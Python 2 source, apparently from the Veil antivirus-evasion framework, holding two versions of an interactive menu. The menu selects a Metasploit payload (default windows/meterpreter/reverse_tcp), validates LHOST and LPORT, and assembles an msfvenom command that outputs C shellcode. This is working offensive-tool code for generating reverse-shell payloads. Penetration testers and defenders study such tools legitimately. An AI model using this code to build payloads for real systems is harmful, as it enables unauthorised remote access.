def menu(self):
        """
        Main interactive menu for shellcode selection.

        Utilizes Completer() to do tab completion on loaded metasploit payloads.
        """

        payloadSelected = None
        options = None

        # if no generation method has been selected yet
        if self.msfvenomCommand == "" and self.customshellcode == "":
            # prompt for custom shellcode
            customShellcode = self.custShellcodeMenu()

            # if custom shellcode is specified, set it
            if customShellcode:
                self.customshellcode = customShellcode

            # else, if no custom shellcode is specified, prompt for metasploit
            else:

                # instantiate our completer object for tab completion of available payloads
                comp = completers.MSFCompleter(self.payloadTree)

                # we want to treat '/' as part of a word, so override the delimiters
                readline.set_completer_delims(' \t\n;')
                readline.parse_and_bind("tab: complete")
                readline.set_completer(comp.complete)

                # have the user select the payload
                while payloadSelected == None:

                    print '\n [*] Press [enter] for windows/meterpreter/reverse_tcp'
                    print ' [*] Press [tab] to list available payloads'
                    payloadSelected = raw_input(' [>] Please enter metasploit payload: ').strip()
                    if payloadSelected == "":
                        # default to reverse_tcp for the payload
                        payloadSelected = "windows/meterpreter/reverse_tcp"
                    try:
                        parts = payloadSelected.split("/")
                        # walk down the selected parts of the payload tree to get to the options at the bottom
                        options = self.payloadTree
                        for part in parts:
                            options = options[part]

                    except KeyError:
                        # make sure user entered a valid payload
                        print helpers.color(" [!] ERROR: Invalid payload specified!\n", warning=True)
                        payloadSelected = None

                # remove the tab completer
                readline.set_completer(None)

                # set the internal payload to the one selected
                self.msfvenompayload = payloadSelected

                # request a value for each required option
                for option in options:
                    value = ""
                    while value == "":

                        ### VALIDATION ###

                        # LHOST is a special case, so we can tab complete the local IP
                        if option == "LHOST":

                            # set the completer to fill in the local IP
                            readline.set_completer(completers.IPCompleter().complete)
                            value = raw_input(' [>] Enter value for \'LHOST\', [tab] for local IP: ')

                            if '.' in value:

                                hostParts = value.split(".")
                                if len(hostParts) > 1:

                                    # if the last chunk is a number, assume it's an IP address
                                    if hostParts[-1].isdigit():

                                        # do a regex IP validation
                                        if not re.match(r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$",value):
                                            print helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True)
                                            value = ""

                                    # otherwise assume we've been passed a domain name
                                    else:
                                        if not helpers.isValidHostname(value):
                                            print helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True)
                                            value = ""

                                # if we don't have at least one period in the hostname/IP
                                else:
                                    print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)
                                    value = ""

                            elif ':' in value:
                                try:
                                    socket.inet_pton(socket.AF_INET6, value)
                                except socket.error:
                                    print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)
                                    value = ""

                            else:
                                print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)
                                value = ""

                        # LPORT validation
                        else:

                            # set the completer to fill in the default MSF port (4444)
                            readline.set_completer(completers.MSFPortCompleter().complete)
                            value = raw_input(' [>] Enter value for \'' + option + '\': ')

                            if option == "LPORT":
                                try:
                                    if int(value) <= 0 or int(value) >= 65535:
                                        print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)
                                        value = ""
                                except ValueError:
                                    print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)
                                    value = ""

                    # append all the msfvenom options
                    self.msfvenomOptions.append(option + "=" + value)

                # allow the user to input any extra OPTION=value pairs
                extraValues = list()
                while True:
                    # clear out the tab completion
                    readline.set_completer(completers.none().complete)
                    selection = raw_input(' [>] Enter extra msfvenom options in -OPTION=value or syntax: ')
                    if selection != "":
                        num_extra_options = selection.split(' ')
                        for xtra_opt in num_extra_options:
                            if xtra_opt is not '':
                                final_opt = xtra_opt.split('=')[0] + " " + xtra_opt.split('=')[1]
                                extraValues.append(final_opt)
                    else: break

                # grab any specified msfvenom options in the /etc/veil/settings.py file
                msfvenomOptions = ""
                if hasattr(settings, "MSFVENOM_OPTIONS"):
                    msfvenomOptions = settings.MSFVENOM_OPTIONS

                # build out the msfvenom command
                # TODO: detect Windows and modify the paths appropriately
                self.msfvenomCommand = "msfvenom " + msfvenomOptions + " -p " + payloadSelected
                for option in self.msfvenomOptions:
                    self.msfvenomCommand += " " + option
                    self.options.append(option)
                if len(extraValues) != 0 :
                    self.msfvenomCommand += " " +  " ".join(extraValues)
                self.msfvenomCommand += " -b \'\\x00\\x0a\\xff\' -f c | tr -d \'\"\' | tr -d \'\n\'"
    def menu(self):
        """
        Main interactive menu for shellcode selection.

        Utilizes Completer() to do tab completion on loaded metasploit payloads.
        """

        payloadSelected = None
        options = None
        showMessage = False
        if settings.TERMINAL_CLEAR != "false": showMessage = True

        # if no generation method has been selected yet
        if self.msfvenomCommand == "" and self.customshellcode == "":

            # show banner?
            if settings.TERMINAL_CLEAR != "false": showMessage = True

            # prompt for custom shellcode or msfvenom
            customShellcode = self.custShellcodeMenu(showMessage)

            # if custom shellcode is specified, set it
            if customShellcode:
                self.customshellcode = customShellcode

            # else, if no custom shellcode is specified, prompt for metasploit
            else:

                # instantiate our completer object for tab completion of available payloads
                comp = completers.MSFCompleter(self.payloadTree)

                # we want to treat '/' as part of a word, so override the delimiters
                readline.set_completer_delims(' \t\n;')
                readline.parse_and_bind("tab: complete")
                readline.set_completer(comp.complete)

                # have the user select the payload
                while payloadSelected == None:

                    print '\n [*] Press %s for windows/meterpreter/reverse_tcp' % helpers.color('[enter]', yellow=True)
                    print ' [*] Press %s to list available payloads' % helpers.color('[tab]', yellow=True)

                    try:
                        payloadSelected = self.required_options['MSF_PAYLOAD'][0]
                        print ' [>] Please enter metasploit payload: %s' % (payloadSelected)
                    except:
                        payloadSelected = raw_input(' [>] Please enter metasploit payload: ').strip()

                    if payloadSelected == "":
                        # default to reverse_tcp for the payload
                        payloadSelected = "windows/meterpreter/reverse_tcp"
                    try:
                        parts = payloadSelected.split("/")
                        # walk down the selected parts of the payload tree to get to the options at the bottom
                        options = self.payloadTree
                        for part in parts:
                            options = options[part]

                    except KeyError:
                        # make sure user entered a valid payload
                        if 'PAYLOAD' in self.required_options: del self.required_options['PAYLOAD']
                        print helpers.color(" [!] ERROR: Invalid payload specified!\n", warning=True)
                        payloadSelected = None

                # remove the tab completer
                readline.set_completer(None)

                # set the internal payload to the one selected
                self.msfvenompayload = payloadSelected

                # request a value for each required option
                for option in options:
                    value = ""
                    while value == "":

                        ### VALIDATION ###

                        # LHOST is a special case, so we can tab complete the local IP
                        if option == "LHOST":

                            try:
                                value = self.required_options['LHOST'][0]
                                print ' [>] Enter value for \'LHOST\', [tab] for local IP: %s' % (value)
                            except:
                                # set the completer to fill in the local IP
                                readline.set_completer(completers.IPCompleter().complete)
                                value = raw_input(' [>] Enter value for \'LHOST\', [tab] for local IP: ').strip()

                            if '.' in value:

                                hostParts = value.split(".")
                                if len(hostParts) > 1:

                                    # if the last chunk is a number, assume it's an IP address
                                    if hostParts[-1].isdigit():

                                        # do a regex IP validation
                                        if not re.match(r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$",value):
                                            if 'LHOST' in self.required_options: del self.required_options['LHOST']
                                            print helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True)
                                            value = ""

                                    # otherwise assume we've been passed a domain name
                                    else:
                                        if not helpers.isValidHostname(value):
                                            if 'LHOST' in self.required_options: del self.required_options['LHOST']
                                            print helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True)
                                            value = ""

                                # if we don't have at least one period in the hostname/IP
                                else:
                                    if 'LHOST' in self.required_options: del self.required_options['LHOST']
                                    print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)
                                    value = ""

                            elif ':' in value:
                                try:
                                    socket.inet_pton(socket.AF_INET6, value)
                                except socket.error:
                                    if 'LHOST' in self.required_options: del self.required_options['LHOST']
                                    print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)
                                    value = ""

                            else:
                                if 'LHOST' in self.required_options: del self.required_options['LHOST']
                                print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)
                                value = ""

                        elif option == "LPORT":
                            try:
                                value = self.required_options['LPORT'][0]
                                print ' [>] Enter value for \'LPORT\': %s' % (value)
                            except:
                                # set the completer to fill in the default MSF port (4444)
                                readline.set_completer(completers.MSFPortCompleter().complete)
                                value = raw_input(' [>] Enter value for \'LPORT\': ').strip()

                            try:
                                if int(value) <= 0 or int(value) >= 65535:
                                    print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)
                                    if 'LPORT' in self.required_options: del self.required_options['LPORT']
                                    value = ""
                            except ValueError:
                                print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)
                                if 'LPORT' in self.required_options: del self.required_options['LPORT']
                                value = ""

                        else:
                            value = raw_input(' [>] Enter value for \'' + option + '\': ').strip()

                    # append all the msfvenom options
                    self.msfvenomOptions.append(option + "=" + value)

                # allow the user to input any extra OPTION=value pairs
                extraValues = list()
                while True:
                    # clear out the tab completion
                    readline.set_completer(completers.none().complete)
                    selection = raw_input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 OPTION2=value2): ').strip()
                    if selection != "":
                        num_extra_options = selection.split(' ')
                        for xtra_opt in num_extra_options:
                            if xtra_opt is not '':
                                final_opt = xtra_opt.split('=')[0] + " " + xtra_opt.split('=')[1]
                                extraValues.append(final_opt)
                    else:
                        break

                # grab any specified msfvenom options in the /etc/veil/settings.py file
                msfvenomOptions = ""
                if hasattr(settings, "MSFVENOM_OPTIONS"):
                    msfvenomOptions = settings.MSFVENOM_OPTIONS

                # build out the msfvenom command
                # TODO: detect Windows and modify the paths appropriately
                self.msfvenomCommand = "msfvenom " + msfvenomOptions + " -p " + payloadSelected
                for option in self.msfvenomOptions:
                    self.msfvenomCommand += " " + option
                    self.options.append(option)
                if len(extraValues) != 0 :
                    self.msfvenomCommand += " " +  " ".join(extraValues)
                self.msfvenomCommand += " -b \'\\x00\\x0a\\xff\' -f c | tr -d \'\"\' | tr -d \'\n\'"